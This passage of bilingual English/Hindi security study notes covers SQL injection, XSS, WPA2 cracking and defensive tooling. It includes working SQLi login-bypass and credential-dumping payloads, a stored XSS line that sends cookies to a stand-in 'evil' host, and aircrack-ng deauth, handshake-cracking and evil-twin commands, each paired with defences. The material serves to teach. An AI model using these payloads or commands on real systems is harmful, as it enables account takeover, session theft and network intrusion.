│ • Business logic flaws │
└──────────────────────────────────┘
│
▼
┌──────────────────────────────────┐
│ Database / Backend │
└──────────────────────────────────┘
# SQL Injection — Login bypass
Username: admin' OR '1'='1'--
Password: anything
Query becomes:
SELECT * FROM users
WHERE username='admin' OR '1'='1'--' AND password='...';
# SQL Injection — UNION-based data extraction
' UNION SELECT username, password FROM users--
# SQL Injection — Blind boolean
' AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a'--
# XSS — Reflected
https://target/search?q=<script>alert(document.cookie)</script>
# XSS — Stored
Comment: <script>fetch('http://evil/?c='+document.cookie)</script>
# XSS — DOM-based
location.hash → innerHTML
A. SQLi types:
| Type | Description |
|---|---|
| In-band (Classic) | Results returned in the same channel (UNION, error-based). |
| Blind – Boolean | True/false responses reveal data bit by bit. |
| Blind – Time-based | Delay in response reveals info. |
| Out-of-band | Data exfiltrated via DNS/HTTP to attacker. |
| Second-order | Payload stored then executed later. |
B. XSS types:
| Type | Where Payload Lives | Persists? |
|---|---|---|
| Reflected | URL / request → response | No |
| Stored | Database → page for all visitors | Yes |
| DOM-based | Client-side JS sinks (innerHTML) | No (in DOM) |
| Mutation XSS (mXSS) | After browser re-parses HTML | Varies |
C. Defences: Parameterized queries / prepared statements, stored procedures, input validation, least-privilege DB accounts, output encoding, HTML sanitisation (DOMPurify), Content Security Policy (CSP), HttpOnly cookies.
SQL Injection:
User input ──▶ App (concatenates) ──▶ DB
"admin' OR 1=1--" ──▶ SELECT ... WHERE name='admin' OR 1=1--'
│
▼
Returns all rows → login bypass
XSS:
Attacker ──▶ Stores payload ──▶ Server DB
│
▼
Victim browser ─── loads page ───▶ JS executes
│
▼
Cookie / session exfiltrated
Defence mapping:
SQLi → parameterized queries + least privilege DB
XSS → output encoding + sanitisation + CSP
# SQL Injection — Login bypass
Username: admin' OR '1'='1'--
Password: कुछ भी
Query बनती है:
SELECT * FROM users
WHERE username='admin' OR '1'='1'--' AND password='...';
# SQL Injection — UNION-based data extraction
' UNION SELECT username, password FROM users--
# SQL Injection — Blind boolean
' AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a'--
# XSS — Reflected
https://target/search?q=<script>alert(document.cookie)</script>
# XSS — Stored
Comment: <script>fetch('http://evil/?c='+document.cookie)</script>
# XSS — DOM-based
location.hash → innerHTML
A. SQLi types:
| Type | विवरण |
|---|---|
| In-band (Classic) | Results उसी channel में (UNION, error-based)। |
| Blind – Boolean | True/false responses से data bit by bit। |
| Blind – Time-based | Response delay से info reveal। |
| Out-of-band | Data DNS/HTTP से attacker को। |
| Second-order | Payload store होकर बाद में execute। |
B. XSS types:
| Type | Payload कहाँ | Persists? |
|---|---|---|
| Reflected | URL / request → response | नहीं |
| Stored | Database → सब visitors को page | हाँ |
| DOM-based | Client-side JS sinks (innerHTML) | नहीं (DOM में) |
| Mutation XSS (mXSS) | Browser HTML re-parse के बाद | Varies |
C. Defences: Parameterized queries / prepared statements, stored procedures, input validation, least-privilege DB accounts, output encoding, HTML sanitisation (DOMPurify), Content Security Policy (CSP), HttpOnly cookies।
SQL Injection:
User input ──▶ App (concatenate) ──▶ DB
"admin' OR 1=1--" ──▶ SELECT ... WHERE name='admin' OR 1=1--'
│
▼
सभी rows return → login bypass
XSS:
Attacker ──▶ Payload store ──▶ Server DB
│
▼
Victim browser ─── page load ───▶ JS execute
│
▼
Cookie / session exfiltrate
Defence mapping:
SQLi → parameterized queries + least privilege DB
XSS → output encoding + sanitisation + CSP
# Put card in monitor mode airmon-ng start wlan0 # Discover networks airodump-ng wlan0mon # Capture WPA2 handshake airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon # Deauth to force a new handshake (authorised) aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon # Crack with dictionary aircrack-ng -w rockyou.txt cap-01.cap # Evil twin AP hostapd-mana evil-twin.conf # Users connect to a fake "Free WiFi" with the same SSID
A. Encryption and their status:
| Standard | Status | Weakness |
|---|---|---|
| Open | No protection | Everything readable |
| WEP | Broken | RC4 + IV reuse; cracked in minutes |
| WPA (TKIP) | Deprecated | Weak; crackable via handshake |
| WPA2 (CCMP/AES) | Good if strong PSK | Vulnerable to weak passwords, KRACK |
| WPA3 (SAE) | Recommended | Resists offline dictionary; still evolving |
B. Attack types: Handshake capture & offline crack, PMKID attack, deauthentication, evil twin, rogue AP, captive portal phishing, WPS PIN brute force, KRACK, downgrade attacks.
C. Tools: Aircrack-ng suite, Kismet, Wifite, Reaver, hashcat, bettercap, Wireshark, hcxdumptool, hostapd-wpe.
1. Recon
airodump-ng wlan0mon → sees SSID, BSSID, channel
2. Capture handshake
airodump-ng -c 6 --bssid -w cap wlan0mon
aireplay-ng --deauth 5 → force client to re-auth
→ cap-01.cap contains 4-way handshake
3. Offline crack
aircrack-ng -w rockyou.txt cap-01.cap
→ PSK recovered (if weak)
Defences:
WPA3-SAE → resists offline dictionary
PMF (802.11w)→ protects management frames
802.1X/EAP → enterprise credentials
Long PSK → dictionary useless
WIPS → detects rogue AP / deauth
# Card monitor mode में airmon-ng start wlan0 # Networks discover airodump-ng wlan0mon # WPA2 handshake capture airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon # Deauth से नया handshake force (authorised) aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon # Dictionary से crack aircrack-ng -w rockyou.txt cap-01.cap # Evil twin AP hostapd-mana evil-twin.conf # Users "Free WiFi" नाम के fake से connect करें
A. Encryptions और status:
| Standard | Status | Weakness |
|---|---|---|
| Open | कोई protection नहीं | सब कुछ readable |
| WEP | Broken | RC4 + IV reuse; मिनटों में crack |
| WPA (TKIP) | Deprecated | Weak; handshake से crackable |
| WPA2 (CCMP/AES) | Strong PSK के साथ अच्छा | Weak passwords, KRACK से vulnerable |
| WPA3 (SAE) | Recommended | Offline dictionary resist; evolving |
B. Attack types: Handshake capture & offline crack, PMKID attack, deauthentication, evil twin, rogue AP, captive portal phishing, WPS PIN brute force, KRACK, downgrade attacks।
C. Tools: Aircrack-ng suite, Kismet, Wifite, Reaver, hashcat, bettercap, Wireshark, hcxdumptool, hostapd-wpe।
1. Recon
airodump-ng wlan0mon → SSID, BSSID, channel
2. Handshake capture
airodump-ng -c 6 --bssid -w cap wlan0mon
aireplay-ng --deauth 5 → client re-auth force
→ cap-01.cap में 4-way handshake
3. Offline crack
aircrack-ng -w rockyou.txt cap-01.cap
→ PSK recovered (अगर weak)
Defences:
WPA3-SAE → offline dictionary resist
PMF (802.11w)→ management frames protect
802.1X/EAP → enterprise credentials
Long PSK → dictionary useless
WIPS → rogue AP / deauth detect
# Symmetric
AES-256-GCM, ChaCha20-Poly1305
# Asymmetric
RSA-2048/4096, ECDSA P-256, Ed25519
# Hashing
SHA-256, SHA-3, bcrypt, Argon2, scrypt
# Digital signature and TLS
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
openssl s_client -connect target:443 -tls1_3
# Firewall (iptables)
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -j DROP
# IDS (Suricata / Snort rule)
alert tcp any any -> $HOME_NET 22 (msg:"SSH brute"; flow:to_server;
threshold:type both, track by_src, count 10, seconds 60;
sid:1000001; rev:1;)
# Honeypot
cowrie (SSH), dionaea (multiple)
A. Cryptography:
| Type | Examples | Use |
|---|---|---|
| Symmetric | AES, ChaCha20 | Fast bulk encryption |
| Asymmetric | RSA, ECC, Ed25519 | Key exchange, signatures |
| Hashing | SHA-2/3, Argon2 | Integrity, password storage |
| MAC / HMAC | HMAC-SHA256 | Authenticated integrity |
| PKI | X.509, CAs | Trust for TLS, code signing |
B. Firewalls: Packet filter, stateful inspection, proxy, WAF, NGFW (with DPI, IPS, sandbox).
C. IDS/IPS types: Network-based (NIDS), Host-based (HIDS); detection by signature vs anomaly; IPS blocks, IDS alerts.
D. Report sections: Executive summary, scope, methodology, findings by risk, evidence, remediation, appendix.
Layered defence:
┌──────────────────────────────────┐
│ Edge → DDoS scrubbing, CDN │
├──────────────────────────────────┤
│ Network → Firewall, IDS/IPS │
├──────────────────────────────────┤
│ Host → HIDS, EDR, hardening │
├──────────────────────────────────┤
│ App → WAF, secure coding, CSP│
├──────────────────────────────────┤
│ Data → TLS, AES, hashing, KMS │
└──────────────────────────────────┘
Report structure:
1. Executive summary (1 page)
2. Scope and rules of engagement
3. Methodology (PTES / OWASP)
4. Findings (Critical → Low)
- Description, evidence, impact, CVSS
- Remediation, references
5. Conclusion and next steps
6. Appendix (tools, raw output)
# Symmetric
AES-256-GCM, ChaCha20-Poly1305
# Asymmetric
RSA-2048/4096, ECDSA P-256, Ed25519
# Hashing
SHA-256, SHA-3, bcrypt, Argon2, scrypt
# Digital signature और TLS
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
openssl s_client -connect target:443 -tls1_3
# Firewall (iptables)
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -j DROP
# IDS (Suricata / Snort rule)
alert tcp any any -> $HOME_NET 22 (msg:"SSH brute"; flow:to_server;
threshold:type both, track by_src, count 10, seconds 60;
sid:1000001; rev:1;)
# Honeypot
cowrie (SSH), dionaea (multiple)
A. Cryptography:
| Type | Examples | Use |
|---|---|---|
| Symmetric | AES, ChaCha20 | Fast bulk encryption |
| Asymmetric | RSA, ECC, Ed25519 | Key exchange, signatures |
| Hashing | SHA-2/3, Argon2 | Integrity, password storage |
| MAC / HMAC | HMAC-SHA256 | Authenticated integrity |
| PKI | X.509, CAs | TLS, code signing के लिए trust |
B. Firewalls: Packet filter, stateful inspection, proxy, WAF, NGFW (DPI, IPS, sandbox के साथ)।
C. IDS/IPS types: Network-based (NIDS), Host-based (HIDS); signature vs anomaly; IPS blocks, IDS alerts।
D. Report sections: Executive summary, scope, methodology, risk के अनुसार findings, evidence, remediation, appendix।
Layered defence:
┌──────────────────────────────────┐
│ Edge → DDoS scrubbing, CDN │
├──────────────────────────────────┤
│ Network → Firewall, IDS/IPS │
├──────────────────────────────────┤
│ Host → HIDS, EDR, hardening │
├──────────────────────────────────┤
│ App → WAF, secure coding, CSP│
├──────────────────────────────────┤
│ Data → TLS, AES, hashing, KMS │
└──────────────────────────────────┘
Report structure:
1. Executive summary (1 page)
2. Scope और rules of engagement
3. Methodology (PTES / OWASP)
4. Findings (Critical → Low)
- Description, evidence, impact, CVSS
- Remediation, references
5. Conclusion और next steps
6. Appendix (tools, raw output)